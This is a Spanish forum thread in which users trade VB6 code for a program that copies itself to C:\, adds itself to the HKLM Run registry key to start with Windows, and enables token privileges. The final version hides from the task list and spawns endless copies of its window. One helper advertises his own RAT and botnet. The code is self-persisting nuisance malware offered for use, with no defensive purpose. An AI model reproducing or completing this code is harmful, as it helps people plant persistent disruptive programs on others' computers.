Hola tengo el siguiente codigo. Que lo unico que hace es agregarse al registro, y ejecutar una pagina web, cuando se inicia windows. El problema es que cada vez que se inicia windows me sale un mensaje [Error 70` Permiso denegado] Que creo que sera por que no tengo los suficientes privilegios, pero si veo que se a agregado al registro perfectamente y se a copiado tambien el archivo.

Acontinuacion pongo el code:

Código: Seleccionar todo

Private Sub Form_Load()

FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\Web.exe"
Dim RegistroCochino As Object
            Dim RutaCochina As String
            Dim CadenaNueva As String
            Dim ContenidoCadena As String
            
            ContenidoCadena = "c:\Web.exe"
            CadenaNueva = "\Web"
            RutaCochina = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" & _
                        "\CurrentVersion\Run" & CadenaNueva
            
            Set RegistroCochino = CreateObject("WScript.Shell")
            
            RegistroCochino.RegWrite RutaCochina, ContenidoCadena

            Call Shell("C:\Archivos de programa\Internet Explorer\IEXPLORE.EXE www.google.com")

End Sub
Facil:

Código: Seleccionar todo

Option Explicit

Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, _
ReturnLength As Long) As Long

Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystemName As String, _
ByVal lpName As String, _
lpLUID As LUID) As Long

Private Declare Function GetCurrentProcess Lib "kernel32" () As Long

Private Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long


Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2

Private Type LUID
    LowPart                     As Long
    HighPart                    As Long
End Type

Private Type LUID_AND_ATTRIBUTES
        pLuid                   As LUID
        Attributes              As Long
End Type

Private Type TOKEN_PRIVILEGES
    PrivilegeCount              As Long
    Privileges(ANYSIZE_ARRAY)   As LUID_AND_ATTRIBUTES
End Type

Public Const SE_SYSTEM_PROFILE_NAME      As String = "SeSystemProfilePrivilege"

Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" ( _
ByVal NewValue As Boolean, _
ByVal OldValue As Boolean, _
ByVal WinLogon As Boolean)

Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long

Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long

hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
    Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
    Exit Function
End If
With lpToken
    .PrivilegeCount = 1
    .Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    .Privileges(0).pLuid = lpLUID
End With

res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
    Exit Function
End If
ObtenerPrivilegios = res
End Function

Private Sub Form_Load()
ObtenerPrivilegios SE_SYSTEM_PROFILE_NAME
End Sub
salu2
m3m0´s - RAT....(100%) --> publicado ;)
m3m0´s Botnet... (100%)
joder [m3m0_11] Eres un Maquina!!!

llevaba varios dias como loco buscandolo. hasta que me dijeron que eso era Imposible, que lo tenia que hacer desde windows



Ahora si se me ejecuta la pagina web, pero me sigue saliendo el mensajito de [Permiso Denegado] pero ya tengo lo que queria
Tengo otro problemita!

Yo ago asi:

Codigo en modulo (El que puso [m3m0_11]):

Código: Seleccionar todo

Option Explicit

Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, _
ReturnLength As Long) As Long

Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystemName As String, _
ByVal lpName As String, _
lpLUID As LUID) As Long

Private Declare Function GetCurrentProcess Lib "kernel32" () As Long

Private Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long


Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2

Private Type LUID
    LowPart                     As Long
    HighPart                    As Long
End Type

Private Type LUID_AND_ATTRIBUTES
        pLuid                   As LUID
        Attributes              As Long
End Type

Private Type TOKEN_PRIVILEGES
    PrivilegeCount              As Long
    Privileges(ANYSIZE_ARRAY)   As LUID_AND_ATTRIBUTES
End Type

Public Const SE_SYSTEM_PROFILE_NAME      As String = "SeSystemProfilePrivilege"

Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" ( _
ByVal NewValue As Boolean, _
ByVal OldValue As Boolean, _
ByVal WinLogon As Boolean)

Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long

Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long

hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
    Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
    Exit Function
End If
With lpToken
    .PrivilegeCount = 1
    .Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
    .Privileges(0).pLuid = lpLUID
End With

res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
    Exit Function
End If
ObtenerPrivilegios = res
End Function
En un formulario (Esta vez no abro una pagina web. Abro el mismo formulario que seabre infinitamnte)

Código: Seleccionar todo

Private Sub Form_Load()
ObtenerPrivilegios SE_SYSTEM_PROFILE_NAME
App.TaskVisible = False
End Sub

Private Sub Timer1_Timer()
Randomize
Dim NuevoForm As New Form1
NuevoForm.Show
NuevoForm.Top = Rnd * Screen.Height
NuevoForm.Left = Rnd * Screen.Width
End Sub
Cuando se inicia windows me sale este error:
Imagen


¿Como puedo solucionar ese problema?
Responder

Volver a “VB/.NET”